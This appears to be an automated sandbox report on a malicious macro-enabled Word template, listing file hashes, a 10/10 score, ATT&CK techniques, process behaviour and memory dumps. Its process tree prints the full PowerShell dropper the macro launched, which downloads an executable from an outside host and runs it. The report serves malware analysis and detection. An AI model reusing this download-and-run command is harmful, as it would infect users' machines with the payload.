ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16-11-2024 12:42

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General

Target

2020-01-11_81623.dotm
Size

19KB
MD5

05ff7f28554aa6e9518c848c4134d9cd
SHA1

3f91e20ab999e7bd748ba1a182bbce47b165b4f7
SHA256

b0a8a64c754bff466691853bc74ab0e0a41cd3b954e8d0af5c6cffc80f1ead34
SHA512

5fb5c0369d66e95de650b08e298879a6a8e33f41297d9dec9e4f7af6d687028eadcca3867db65876bb1924d21921fcd2538c16491aec4bc6d23015354da006f3
SSDEEP

384:3eMx5U8ybXqgeUGbj3M5aLesOfV57G6F7//o4MAYtNci19zy:u98yO9NjM5TsoVOAocc0

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://meublesinde.in/cry/rware.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1976	2720	powershell.exe	29

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1976	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2720	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1976	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2720	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1976	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2720	WINWORD.EXE
2720	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 1976	2720	WINWORD.EXE	30
PID 2720 wrote to memory of 1976	2720	WINWORD.EXE	30
PID 2720 wrote to memory of 1976	2720	WINWORD.EXE	30
PID 2720 wrote to memory of 1976	2720	WINWORD.EXE	30
PID 2720 wrote to memory of 2180	2720	WINWORD.EXE	33
PID 2720 wrote to memory of 2180	2720	WINWORD.EXE	33
PID 2720 wrote to memory of 2180	2720	WINWORD.EXE	33
PID 2720 wrote to memory of 2180	2720	WINWORD.EXE	33

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-11_81623.dotm"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $client = new-object System.Net.WebClient;$a = 'https://meublesinde.in/cry/rware.exe'.Split(',');$huas = $env:temp + '\gtfbdbnPHM.exe';foreach($b in $a){try{$client.DownloadFile($b.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message}};
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1976
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/2720-0-0x000000002FA81000-0x000000002FA82000-memory.dmp

Filesize
4KB

Download
memory/2720-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2720-2-0x0000000070B1D000-0x0000000070B28000-memory.dmp

Filesize
44KB

Download
memory/2720-14-0x0000000005470000-0x0000000005570000-memory.dmp

Filesize
1024KB

Download
memory/2720-16-0x0000000005470000-0x0000000005570000-memory.dmp

Filesize
1024KB

Download
memory/2720-15-0x0000000005470000-0x0000000005570000-memory.dmp

Filesize
1024KB

Download
memory/2720-26-0x0000000070B1D000-0x0000000070B28000-memory.dmp

Filesize
44KB

Download
memory/2720-27-0x0000000005470000-0x0000000005570000-memory.dmp

Filesize
1024KB

Download
memory/2720-28-0x0000000005470000-0x0000000005570000-memory.dmp

Filesize
1024KB

Download